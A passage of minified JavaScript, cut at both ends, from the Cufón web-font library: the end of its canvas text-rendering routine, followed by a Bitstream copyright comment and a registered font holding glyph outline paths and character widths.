j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());

/**
* The following copyright notice may not be removed under any circumstances.
* Copyright:
* Copyright 1990 as an unpublished work by Bitstream Inc.  All rights reserved. 
* Confidential.
*/
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"-3,0r113,-267r108,267r-25,0r-33,-87r-105,0r-34,87r-24,0xm63,-107r89,0r-44,-112xm84,-283r38,-61r28,0r-49,61r-17,0","w":214},{"d":"180,-68v0,72,-92,95,-139,56v-14,-12,-22,-30,-24,-53r25,0v2,34,22,51,57,51v34,0,57,-20,57,-54v0,-38,-25,-59,-68,-55r0,-22v38,3,64,-12,64,-46v0,-29,-21,-48,-50,-48v-29,0,-47,15,-49,41r-25,0v4,-37,33,-62,74,-62v42,-1,74,26,74,67v0,31,-20,52,-45,59v28,9,49,30,49,66"},{"d":"91,-162v45,1,75,35,72,85r-124,0v-6,67,83,88,105,27r20,11v-31,77,-149,50,-149,-37v0,-48,30,-86,76,-86xm137,-96v2,-42,-54,-59,-81,-32v-9,8,-15,19,-16,32r97,0","w":178},{"d":"147,-112v30,49,0,119,-63,119v-34,0,-58,-17,-72,-50r20,-11v7,23,24,40,53,40v33,0,52,-20,52,-54v-2,-75,-114,-57,-114,-134v0,-64,99,-86,124,-29r-18,11v-14,-36,-87,-28,-82,19v5,53,79,55,100,89xm140,-344r-38,61r-25,0r-38,-61r16,0r35,44r33,-44r17,0","w":179},{"d":"139,-203v1,34,-31,59,-64,59v-33,0,-63,-27,-63,-59v0,-33,29,-58,63,-58v34,0,64,26,64,58xm30,-202v0,23,21,44,45,44v25,0,46,-20,46,-44v0,-25,-21,-45,-46,-45v-25,0,-45,20,-45,45","w":150},{"d":"32,0r0,-268r182,215r0,-204r22,0r0,265r-182,-216r0,208r-22,0xm185,-329v-7,38,-40,35,-70,24v-7,0,-12,4,-16,11r-16,0v6,-37,41,-34,70,-23v8,0,14,-4,17,-12r15,0","w":268},{"d":"150,-117r86,-86r10,10r-86,86r86,85r-10,10r-86,-85r-86,85r-10,-10r86,-85r-86,-86r10,-10","w":299},{"d":"83,-186v55,15,30,82,-21,79v-29,-2,-49,-14,-51,-41r16,0v1,19,13,29,35,29v22,0,36,-11,36,-30v0,-22,-17,-34,-43,-31r0,-13v23,2,40,-5,41,-25v1,-35,-61,-35,-63,-4r-15,0v1,-47,94,-46,93,2v0,17,-9,29,-28,34xm71,7r161,-267r19,0r-161,267r-19,0xm271,0r0,-36r-73,0r87,-112r0,100r17,0r0,12r-17,0r0,36r-14,0xm271,-48r0,-65r-51,65r51,0","w":321},{"d":"60,-111r0,-131r-29,0r7,-12r37,0r0,143r-15,0xm71,7r161,-267r19,0r-161,267r-19,0xm253,-145v46,0,67,48,34,76v-12,17,-36,35,-58,58r74,0r0,11r-104,0v28,-30,63,-54,85,-89v14,-23,-6,-45,-32,-45v-22,0,-35,13,-35,34v-5,-1,-12,2,-15,-1v0,-28,20,-44,51,-44","w":321},{"d":"22,-69v0,-37,20,-62,50,-70v-68,-20,-41,-129,32,-121v74,-9,101,101,31,121v29,8,50,33,50,69v0,48,-32,77,-81,77v-49,0,-82,-29,-82,-76xm56,-193v0,28,20,45,48,45v30,0,48,-16,48,-45v0,-28,-20,-47,-48,-46v-29,0,-48,17,-48,46xm46,-70v0,35,22,56,58,56v35,0,57,-22,57,-56v0,-36,-21,-57,-57,-57v-36,0,-58,22,-58,57"},{"d":"93,-173v-22,1,-42,-19,-42,-42v0,-23,19,-41,42,-41v23,0,41,18,41,41v0,23,-18,42,-41,42xm93,-238v-12,0,-24,11,-24,23v0,12,12,24,24,24v12,0,23,-12,23,-24v0,-12,-12,-23,-23,-23xm15,-77v-10,-77,97,-118,129,-50r0,-29r22,0r0,156r-22,0r0,-28v-30,68,-141,28,-129,-49xm92,-142v-34,0,-54,29,-53,66v1,37,17,62,52,63v34,0,53,-29,53,-67v0,-36,-18,-62,-52,-62","w":194},{"d":"-3,0r113,-267r108,267r-25,0r-33,-87r-105,0r-34,87r-24,0xm63,-107r89,0r-44,-112xm159,-329v-7,38,-41,35,-71,24v-7,0,-12,4,-16,11r-15,0v6,-37,40,-34,69,-23v8,0,14,-4,17,-12r16,0","w":214},{"d":"29,0r0,-273r21,0r0,186r78,-69r30,0r-83,70r89,86r-30,0r-84,-81r0,81r-21,0","w":164},{"d":"92,-253v-27,-12,-37,6,-37,38r0,59r35,0r0,18r-35,0r0,138r-21,0r0,-138r-29,0r0,-18r29,0v1,-63,-12,-140,62,-116","w":93},{"d":"31,-260v71,-9,66,45,65,109v-1,38,14,52,53,50r0,16v-55,-10,-54,39,-53,92v1,53,-12,67,-65,66v1,-7,-4,-18,7,-16v82,13,1,-137,74,-150v-41,-8,-33,-57,-34,-105v0,-38,-9,-46,-47,-46r0,-16","w":180},{"d":"32,0r0,-257r23,0r0,257r-23,0xm13,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35xm75,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35","w":87},{"d":"32,0r0,-257r127,0r0,22r-104,0r0,80r104,0r0,22r-104,0r0,111r104,0r0,22r-127,0xm64,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35xm126,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35","w":184},{"d":"157,-263v76,0,138,60,138,135v0,74,-65,135,-138,135v-73,0,-137,-62,-137,-135v0,-74,63,-135,137,-135xm45,-128v0,62,51,114,112,114v61,0,113,-52,113,-114v0,-62,-52,-115,-113,-115v-60,0,-112,53,-112,115xm134,-283r38,-61r29,0r-50,61r-17,0","w":315},{"d":"16,-76v0,-68,74,-107,134,-75r0,24v-44,-34,-112,-10,-112,52v0,58,71,82,115,46r0,24v-59,34,-137,-1,-137,-71","w":164},{"d":"157,-214r0,100r98,0r0,14r-98,0r0,100r-14,0r0,-100r-98,0r0,-14r98,0r0,-100r14,0","w":299},{"d":"91,-162v45,1,75,35,72,85r-124,0v-6,67,83,88,105,27r20,11v-31,77,-149,50,-149,-37v0,-48,30,-86,76,-86xm137,-96v2,-42,-54,-59,-81,-32v-9,8,-15,19,-16,32r97,0xm59,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17xm121,-192v-10,0,-18,-7,-18,-17v0,-21,35,-22,35,0v0,10,-7,17,-17,17","w":178},{"d":"30,0r0,-156r23,0r0,156r-23,0xm65,-181r-17,0r-49,-62r28,0","w":82},{"d":"144,-79v0,-37,-18,-62,-53,-63v-35,-1,-52,29,-52,65v0,36,16,63,50,64v34,0,55,-29,55,-66xm89,-162v25,-1,48,17,55,35r0,-29r22,0r0,130v2,80,-11,104,-74,104v-41,0,-65,-16,-70,-48r27,1v4,19,19,28,45,28v48,0,54,-36,50,-88v-9,21,-29,36,-56,36v-45,0,-72,-36,-72,-84v0,-48,27,-85,73,-85","w":194},{"d":"33,-252r0,97r-15,0r0,-97r15,0xm79,-252r0,97r-15,0r0,-97r15,0","w":96},{"d":"32,0r0,-257r23,0r0,257r-23,0xm21,-283r37,-61r29,0r-50,61r-16,0","w":87},{"d":"56,-116v-11,0,-18,-7,-18,-18v0,-10,8,-17,18,-18v11,0,18,7,18,18v0,11,-7,18,-18,18xm56,3v-11,0,-18,-7,-18,-18v0,-11,7,-18,18,-18v11,0,18,7,18,18v0,11,-7,18,-18,18","w":111},{"d":"48,7r147,-267r20,0r-148,267r-19,0xm63,-260v35,0,51,28,51,66v0,38,-17,66,-51,66v-35,0,-52,-28,-52,-66v0,-38,17,-66,52,-66xm63,-244v-24,1,-31,23,-31,50v0,33,11,49,31,49v23,-1,31,-22,31,-49v0,-33,-10,-50,-31,-50xm201,-125v34,0,51,29,51,66v0,37,-16,66,-51,66v-35,-1,-52,-27,-52,-66v0,-38,17,-66,52,-66xm201,-108v-24,0,-31,23,-31,49v0,33,11,50,31,50v23,-1,30,-24,30,-50v0,-33,-9,-49,-30,-49","w":263},{"d":"45,-197r0,-20r90,0r0,20r-90,0","w":180},{"d":"89,-162v26,1,46,15,56,35r0,-29r21,0r0,234r-21,0r0,-107v-32,68,-129,31,-129,-48v0,-48,27,-85,73,-85xm144,-79v0,-37,-18,-62,-53,-63v-35,-1,-52,29,-52,65v0,36,16,63,50,64v34,0,55,-29,55,-66","w":194},{"d":"63,-212v27,-22,66,-21,93,0r36,-36r10,10r-36,36v22,27,21,66,0,93r36,36r-10,10r-36,-36v-27,21,-66,22,-93,0r-36,36r-10,-10r36,-36v-21,-27,-22,-66,0,-93r-36,-36r10,-10xm109,-98v32,0,59,-26,59,-58v0,-32,-27,-58,-59,-58v-31,0,-58,27,-58,58v0,31,27,58,58,58","w":218},{"d":"99,-127v18,0,83,25,102,25v19,0,41,-9,68,-28r0,16v-25,17,-47,26,-68,26v-28,0,-67,-25,-102,-25v-19,0,-41,9,-68,28r0,-16v25,-17,47,-26,68,-26","w":299},{"d":"260,-219v79,83,13,225,-104,225v-32,0,-61,-10,-86,-30r-31,32r-12,-12r31,-32v-25,-24,-38,-55,-38,-93v0,-110,146,-179,228,-102r32,-34r12,12xm232,-215v-69,-65,-187,-7,-187,86v0,27,10,53,29,77xm86,-41v72,63,184,3,184,-88v0,-26,-9,-50,-27,-74","w":315},{"d":"95,7v-79,0,-66,-87,-66,-163r21,0v4,59,-18,143,45,143v63,0,39,-85,44,-143r22,0v0,75,12,163,-66,163xm45,-181r37,-62r26,0r37,62r-16,0r-34,-44r-34,44r-16,0","w":189},{"d":"11,-207v0,-26,22,-48,48,-48v26,0,48,22,48,48v0,26,-22,48,-48,48v-26,0,-48,-22,-48,-48xm59,-169v20,0,39,-17,38,-38v0,-20,-18,-37,-38,-37v-20,0,-37,16,-37,37v0,20,17,38,37,38","w":118},{"d":"21,0r-25,0r78,-135r-71,-122r27,0r57,102r59,-102r25,0r-71,121r79,136r-26,0r-66,-114","w":174},{"d":"90,-16v28,0,42,-19,42,-48r21,0v2,44,-22,71,-64,71v-35,1,-59,-24,-59,-59v0,-68,82,-54,91,-111v3,-17,-13,-28,-30,-28v-21,-1,-34,12,-33,34r-19,0v-1,-36,19,-52,55,-53v29,-1,49,20,49,47v-2,64,-86,51,-91,110v-2,22,15,38,38,37xm94,-263v11,0,18,7,18,18v0,11,-7,18,-18,18v-10,0,-17,-8,-17,-18v0,-10,7,-18,17,-18","w":185},{"d":"5,-156r27,0r39,57r38,-57r26,0r-53,75r58,81r-26,0r-44,-63r-43,63r-27,0r58,-81","w":141},{"d":"15,-77v-10,-77,97,-118,129,-50r0,-29r22,0r0,156r-22,0r0,-28v-30,68,-141,28,-129,-49xm92,-142v-34,0,-54,29,-53,66v1,37,17,62,52,63v34,0,53,-29,53,-67v0,-36,-18,-62,-52,-62xm121,-181r-17,0r-49,-62r29,0","w":194},{"d":"31,-257r23,0r0,168v0,50,24,75,71,75v106,0,61,-149,70,-243r23,0r0,160v0,69,-31,104,-93,104v-62,0,-94,-35,-94,-104r0,-160xm148,-283r-17,0r-49,-61r29,0","w":249},{"d":"93,0r0,-111r-87,0r0,-17r80,0r-17,-29r-63,0r0,-17r51,0r-49,-81r25,0r71,119r72,-119r24,0r-49,81r51,0r0,17r-62,0r-18,29r80,0r0,17r-86,0r0,111r-23,0"},{"d":"93,18v23,-1,39,7,40,26v1,34,-47,33,-80,23r0,-13v30,5,57,15,61,-9v2,-13,-14,-17,-32,-16r0,-29r11,0r0,18","w":180},{"d":"99,-142v-65,0,-46,81,-49,142r-21,0r0,-156r20,0r0,24v25,-47,112,-38,112,26r0,106r-22,0v-6,-55,21,-142,-40,-142xm145,-228v-8,39,-38,35,-70,25v-7,0,-13,4,-17,11r-15,0v6,-31,34,-38,59,-25v14,3,24,1,28,-11r15,0","w":187},{"d":"4,0r87,-136r-81,0r0,-20r119,0r-87,137r89,0r0,19r-127,0xm119,-243r-38,62r-25,0r-38,-62r17,0r34,44r34,-44r16,0","w":137},{"d":"185,-78v0,47,-39,85,-85,85v-45,0,-84,-38,-84,-85v0,-46,39,-84,84,-84v45,0,85,39,85,84xm39,-77v0,35,28,64,61,64v33,0,62,-29,62,-64v0,-35,-28,-64,-62,-64v-34,0,-61,29,-61,64","w":200},{"d":"31,-257r23,0r0,168v0,50,24,75,71,75v106,0,61,-149,70,-243r23,0r0,160v0,69,-31,104,-93,104v-62,0,-94,-35,-94,-104r0,-160xm74,-283r38,-61r25,0r38,61r-17,0r-33,-44r-35,44r-16,0","w":249},{"d":"95,7v-79,0,-66,-87,-66,-163r21,0v4,59,-18,143,45,143v63,0,39,-85,44,-143r22,0v0,75,12,163,-66,163xm118,-181r-16,0r-50,-62r29,0","w":189},{"d":"157,-263v76,0,138,60,138,135v0,74,-65,135,-138,135v-73,0,-137,-62,-137,-135v0,-74,63,-135,137,-135xm45,-128v0,62,51,114,112,114v61,0,113,-52,113,-114v0,-62,-52,-115,-113,-115v-60,0,-112,53,-112,115","w":315},{"d":"150,-150v-21,0,-23,-36,0,-35v10,0,17,7,17,17v0,10,-8,17,-17,18xm255,-114r0,14r-210,0r0,-14r210,0xm133,-47v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17v-11,1,-17,-7,-17,-17","w":299},{"d":"28,-163r-7,-14r41,-21r-41,-23r7,-14r40,26r-1,-48r16,0r-2,48r41,-25r7,13r-41,23r41,21r-8,14r-40,-25r1,47r-15,0r2,-46","w":150},{"d":"122,-40v0,57,-98,62,-111,12r21,-12v7,33,66,38,68,1v-7,-43,-81,-26,-81,-78v0,-53,89,-60,102,-13r-20,11v-5,-29,-58,-32,-59,0v7,42,80,22,80,79","w":137},{"d":"152,-242v-62,1,-108,49,-110,113v-2,59,50,114,110,114v61,0,108,-53,108,-114v0,-63,-47,-114,-108,-113xm20,-129v-1,-74,61,-135,134,-135v47,0,83,20,107,60r0,-53r122,0r0,22r-101,0r0,80r101,0r0,22r-101,0r0,111r101,0r0,22r-122,0r0,-55v-19,35,-58,62,-109,61v-74,-1,-130,-56,-132,-135","w":407},{"d":"185,-78v0,47,-39,85,-85,85v-45,0,-84,-38,-84,-85v0,-46,39,-84,84,-84v45,0,85,39,85,84xm39,-77v0,35,28,64,61,64v33,0,62,-29,62,-64v0,-35,-28,-64,-62,-64v-34,0,-61,29,-61,64xm77,-181r37,-62r29,0r-49,62r-17,0","w":200},{"d":"-3,0r113,-267r108,267r-25,0r-33,-87r-105,0r-34,87r-24,0xm63,-107r89,0r-44,-112xm77,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35xm139,-328v20,0,23,35,0,35v-10,0,-18,-7,-18,-17v0,-10,8,-18,18,-18","w":214},{"d":"157,-263v76,0,138,60,138,135v0,74,-65,135,-138,135v-73,0,-137,-62,-137,-135v0,-74,63,-135,137,-135xm45,-128v0,62,51,114,112,114v61,0,113,-52,113,-114v0,-62,-52,-115,-113,-115v-60,0,-112,53,-112,115xm209,-329v-7,38,-41,35,-71,24v-7,0,-12,4,-16,11r-15,0v6,-37,40,-34,69,-23v8,0,14,-4,17,-12r16,0","w":315},{"d":"59,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17xm121,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17","w":180},{"d":"30,0r0,-156r23,0r0,156r-23,0xm10,-192v-10,0,-16,-7,-16,-17v0,-9,7,-17,16,-17v10,0,18,8,18,17v0,10,-8,17,-18,17xm72,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17","w":82},{"d":"52,-108v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18v11,0,18,7,18,18v0,11,-7,18,-18,18","w":103},{"d":"30,0r0,-156r23,0r0,156r-23,0","w":82},{"d":"156,-208v-1,33,-22,44,-48,62r64,79v13,-16,23,-31,30,-43r15,9v-11,18,-22,35,-34,49r44,52r-26,0r-32,-38v-24,28,-50,43,-78,43v-43,1,-78,-31,-76,-72v2,-43,30,-60,64,-83v-13,-18,-30,-32,-30,-60v0,-27,25,-46,56,-46v30,0,52,20,51,48xm104,-238v-33,0,-43,36,-22,59r15,20v17,-11,38,-31,38,-50v0,-16,-14,-29,-31,-29xm62,-114v-44,25,-23,100,30,100v20,0,42,-13,65,-39r-67,-82v-9,6,-22,15,-28,21","w":230},{"d":"185,-78v0,47,-39,85,-85,85v-45,0,-84,-38,-84,-85v0,-46,39,-84,84,-84v45,0,85,39,85,84xm39,-77v0,35,28,64,61,64v33,0,62,-29,62,-64v0,-35,-28,-64,-62,-64v-34,0,-61,29,-61,64xm152,-228v-8,39,-39,35,-71,25v-7,0,-12,4,-16,11r-16,0v5,-31,34,-38,59,-25v14,3,24,1,28,-11r16,0","w":200},{"d":"67,-181r37,-62r29,0r-50,62r-16,0","w":180},{"d":"180,-76v0,73,-67,81,-148,76r0,-257v73,-5,135,2,135,67v0,29,-17,48,-40,54v32,3,53,26,53,60xm155,-71v0,-54,-44,-54,-100,-52r0,103v54,3,100,0,100,-51xm143,-189v0,-52,-39,-48,-88,-48r0,94v48,1,88,2,88,-46","w":199},{"d":"231,-129v0,94,-54,137,-159,129r-40,0r0,-257r82,0v75,4,117,49,117,128xm206,-129v0,-89,-52,-118,-151,-109r0,218v98,8,151,-19,151,-109","w":250},{"d":"0,-71r0,-14r360,0r0,14r-360,0","w":360},{"d":"85,-9r-14,-9r37,-58r-36,-61r15,-9r43,69xm22,-9r-14,-9r38,-58r-37,-61r15,-9r43,69","w":137},{"d":"32,0r0,-257r127,0r0,22r-104,0r0,80r104,0r0,22r-104,0r0,111r104,0r0,22r-127,0xm118,-283r-16,0r-50,-61r29,0","w":184},{"d":"77,-13v25,0,46,-13,46,-35v0,-41,-89,-38,-87,4v1,21,17,31,41,31xm244,-95v2,-42,-54,-60,-81,-33v-9,8,-15,20,-16,33r97,0xm197,-161v47,0,75,34,73,84r-124,0v-5,68,83,87,104,27r21,11v-25,57,-109,63,-137,7v-10,53,-121,53,-121,-11v0,-52,77,-69,112,-37v13,-65,-55,-76,-101,-49r0,-23v40,-16,104,-16,115,23v9,-19,30,-32,58,-32","w":285},{"d":"116,-145v-10,64,-9,156,-31,205v-8,18,-27,23,-52,17r5,-21v39,7,35,-25,40,-71r15,-130r-29,0r2,-17r29,0v2,-57,15,-116,77,-93r-4,19v-48,-20,-46,32,-50,74r34,0r-1,17r-35,0"},{"d":"161,-256r-31,88r48,0r31,-88r19,0r-30,88r56,0r-5,16r-57,0r-18,49r61,0r-5,16r-62,0r-30,87r-20,0r31,-87r-47,0r-32,87r-19,0r30,-87r-58,0r5,-16r59,0r18,-49r-64,0r5,-16r65,0r30,-88r20,0xm172,-152r-47,0r-18,49r47,0","w":276},{"d":"56,-227v-11,0,-18,-7,-18,-18v0,-11,7,-18,18,-18v11,0,18,7,18,18v0,11,-7,18,-18,18xm45,-203r22,0r0,210r-22,0r0,-210","w":111},{"d":"-3,0r113,-267r108,267r-25,0r-33,-87r-105,0r-34,87r-24,0xm63,-107r89,0r-44,-112","w":214},{"d":"63,-101r0,-141r-30,0r7,-12r38,0r0,153r-15,0","w":136},{"d":"95,-143v-62,0,-42,84,-45,143r-21,0r0,-156r21,0r0,25v16,-40,83,-42,98,0v23,-49,107,-39,107,26r0,105r-21,0v-5,-53,19,-143,-38,-143v-61,0,-39,86,-43,143r-22,0v-6,-53,22,-143,-36,-143","w":284},{"d":"235,-162v46,-1,74,35,72,84r-123,1v-7,68,83,88,104,26r21,11v-23,62,-118,59,-138,5v-10,25,-37,41,-71,41v-47,0,-84,-37,-84,-84v0,-45,38,-84,83,-84v34,0,58,14,72,41v9,-23,33,-41,64,-41xm282,-96v2,-41,-55,-59,-82,-32v-9,9,-14,19,-15,32r97,0xm40,-77v0,35,28,64,61,64v33,0,61,-30,61,-64v0,-35,-27,-65,-61,-65v-34,0,-61,29,-61,65","w":323},{"d":"24,-89r77,0r0,23r-77,0r0,-23","w":124},{"d":"87,0r0,-118r-85,-139r28,0r69,118r69,-118r27,0r-84,139r0,118r-24,0xm75,-283r37,-61r29,0r-50,61r-16,0","w":196},{"d":"87,0r0,-118r-85,-139r28,0r69,118r69,-118r27,0r-84,139r0,118r-24,0xm67,-293v-10,0,-17,-7,-17,-17v0,-25,34,-21,35,0v0,10,-8,17,-18,17xm129,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35","w":196},{"d":"100,7v-70,0,-97,-77,-64,-134v27,-47,65,-93,96,-138r19,12r-82,112v52,-35,116,5,116,66v0,48,-37,82,-85,82xm104,-135v-34,-1,-58,28,-58,62v0,35,24,60,57,60v34,0,59,-27,58,-63v0,-33,-23,-59,-57,-59"},{"d":"149,10r-90,-207r-19,197r-25,0r35,-268r99,229r102,-229r33,268r-24,0r-19,-197","w":300},{"d":"15,-75v0,-70,91,-110,142,-55v-8,-31,-27,-61,-57,-87r-55,26r-8,-15r48,-23v-12,-9,-26,-18,-43,-27r11,-16v21,12,39,23,52,34r60,-28r9,15r-54,26v43,43,65,89,65,138v1,54,-34,94,-85,94v-45,1,-85,-37,-85,-82xm39,-75v0,34,28,62,61,62v33,0,61,-29,61,-62v0,-33,-28,-62,-61,-62v-33,0,-61,28,-61,62","w":200},{"d":"32,0r0,-257r23,0r0,257r-23,0xm-6,-283r37,-61r26,0r37,61r-16,0r-34,-44r-34,44r-16,0","w":87},{"d":"88,-256v-37,-1,-39,33,-39,76r0,180r-22,0r0,-138r-21,0r0,-18r21,0v-3,-64,1,-120,63,-120v70,0,87,106,24,124v38,4,54,32,55,76v1,56,-41,97,-97,80r0,-23v41,17,74,-11,74,-57v0,-44,-25,-70,-70,-64r0,-22v35,2,54,-12,54,-47v0,-31,-14,-47,-42,-47","w":186},{"d":"163,-187v0,40,-26,64,-67,64r92,123r-28,0r-91,-123r-14,0r0,123r-23,0r0,-257v71,-4,131,5,131,70xm138,-188v0,-48,-35,-50,-83,-49r0,95v46,0,83,1,83,-46","w":190},{"d":"87,-181v56,15,32,87,-22,84v-31,-2,-51,-14,-53,-43r16,0v1,20,14,31,37,31v22,0,38,-12,38,-33v0,-23,-18,-35,-45,-33r0,-13v24,1,42,-6,42,-28v0,-19,-14,-29,-33,-29v-17,1,-30,9,-32,25r-17,0v2,-24,23,-37,49,-37v52,0,66,66,20,76","w":136},{"d":"99,-260v82,0,97,92,49,144r-88,96r118,0r0,20r-165,0v44,-53,100,-98,135,-159v22,-38,-8,-80,-51,-80v-35,0,-57,25,-56,61r-23,0v-2,-51,31,-82,81,-82"},{"d":"31,-257r23,0r0,168v0,50,24,75,71,75v106,0,61,-149,70,-243r23,0r0,160v0,69,-31,104,-93,104v-62,0,-94,-35,-94,-104r0,-160xm101,-283r38,-61r28,0r-49,61r-17,0","w":249},{"d":"52,-9r-44,-68r43,-69r15,9r-37,61r38,58xm115,-9r-44,-68r43,-69r15,9r-37,61r38,58","w":137},{"d":"32,0r0,-257r23,0r0,257r-23,0xm67,-283r-16,0r-50,-61r29,0","w":87},{"d":"143,6v-17,0,-60,-22,-74,-21v-14,0,-25,7,-36,22r-15,-11v8,-16,20,-25,34,-29v18,-25,17,-41,6,-72r-40,0r0,-16r32,0v-39,-65,-12,-139,61,-139v47,0,77,28,78,75r-23,4v0,-36,-20,-58,-54,-58v-63,0,-68,62,-39,118r69,0r0,16r-63,0v12,28,8,54,-11,71v17,-3,59,20,73,20v14,0,26,-8,37,-25r16,10v-12,24,-29,35,-51,35"},{"d":"95,7v-79,0,-66,-87,-66,-163r21,0v4,59,-18,143,45,143v63,0,39,-85,44,-143r22,0v0,75,12,163,-66,163xm72,-181r37,-62r29,0r-50,62r-16,0","w":189},{"d":"30,0r0,-156r23,0r0,156r-23,0xm41,-200v-9,0,-16,-8,-16,-17v0,-9,6,-16,16,-16v10,0,17,6,17,16v0,10,-7,17,-17,17","w":82},{"d":"139,-127v-52,-46,-132,28,-88,88xm61,-28v55,46,132,-27,88,-89xm165,-132v66,75,-41,186,-119,119r-20,20r-10,-10r20,-20v-49,-53,-5,-142,65,-139v19,0,36,7,53,20r20,-20r10,10","w":200},{"d":"15,-77v-10,-77,97,-118,129,-50r0,-29r22,0r0,156r-22,0r0,-28v-30,68,-141,28,-129,-49xm92,-142v-34,0,-54,29,-53,66v1,37,17,62,52,63v34,0,53,-29,53,-67v0,-36,-18,-62,-52,-62xm67,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17xm129,-192v-10,0,-18,-7,-18,-17v0,-10,8,-17,18,-17v9,0,16,8,16,17v0,10,-6,17,-16,17","w":194},{"d":"185,-78v0,47,-39,85,-85,85v-45,0,-84,-38,-84,-85v0,-46,39,-84,84,-84v45,0,85,39,85,84xm39,-77v0,35,28,64,61,64v33,0,62,-29,62,-64v0,-35,-28,-64,-62,-64v-34,0,-61,29,-61,64xm50,-181r37,-62r26,0r37,62r-16,0r-34,-44r-34,44r-16,0","w":200},{"d":"91,-162v45,1,75,35,72,85r-124,0v-6,67,83,88,105,27r20,11v-31,77,-149,50,-149,-37v0,-48,30,-86,76,-86xm137,-96v2,-42,-54,-59,-81,-32v-9,8,-15,19,-16,32r97,0xm113,-181r-17,0r-49,-62r29,0","w":178},{"d":"20,-129v0,-111,134,-173,219,-107r-1,26v-70,-69,-193,-22,-193,81v0,102,119,149,192,84r0,28v-92,61,-217,0,-217,-112","w":257},{"d":"98,-252r0,134r-16,0r0,-134r16,0xm98,-72r0,134r-16,0r0,-134r16,0","w":180},{"d":"32,0r0,-257r127,0r0,22r-104,0r0,80r104,0r0,22r-104,0r0,111r104,0r0,22r-127,0xm72,-283r37,-61r29,0r-50,61r-16,0","w":184},{"d":"39,-3r118,-232r-125,0r0,-20r158,0r-129,263"},{"d":"32,0r0,-257r23,0r0,104r140,0r0,-104r24,0r0,257r-24,0r0,-133r-140,0r0,133r-23,0","w":250},{"d":"253,-113r0,11r-207,85r0,-16r184,-74r-184,-75r0,-16","w":299},{"d":"126,33r-126,-296r19,0r126,296r-19,0","w":145},{"d":"56,7v-11,0,-18,-7,-18,-18v0,-11,7,-18,18,-18v11,0,18,7,18,18v0,11,-7,18,-18,18xm45,-53r0,-210r22,0r0,210r-22,0","w":111},{"d":"59,-263r0,335r-51,0r0,-17r31,0r0,-301r-31,0r0,-17r51,0","w":98},{"d":"90,-261v-50,97,-49,237,0,330r-16,9v-55,-97,-57,-250,0,-347","w":98},{"d":"190,-256r95,98r-22,0r-83,-83r-84,83r-21,0r94,-98r21,0","w":360},{"d":"20,-128v0,-77,54,-136,130,-135v53,0,90,19,110,56r-17,14v-21,-33,-51,-49,-90,-49v-64,-1,-108,51,-108,116v0,90,112,146,178,86v18,-17,28,-40,28,-67r-89,0r0,-20r115,0v2,83,-46,134,-126,134v-77,1,-131,-57,-131,-135","w":294},{"d":"32,0r0,-257r127,0r0,22r-104,0r0,80r101,0r0,22r-101,0r0,133r-23,0","w":180},{"d":"106,-260v67,0,98,71,67,128v-23,44,-70,101,-100,144r-19,-12r84,-111v-52,33,-116,-4,-116,-66v0,-49,36,-83,84,-8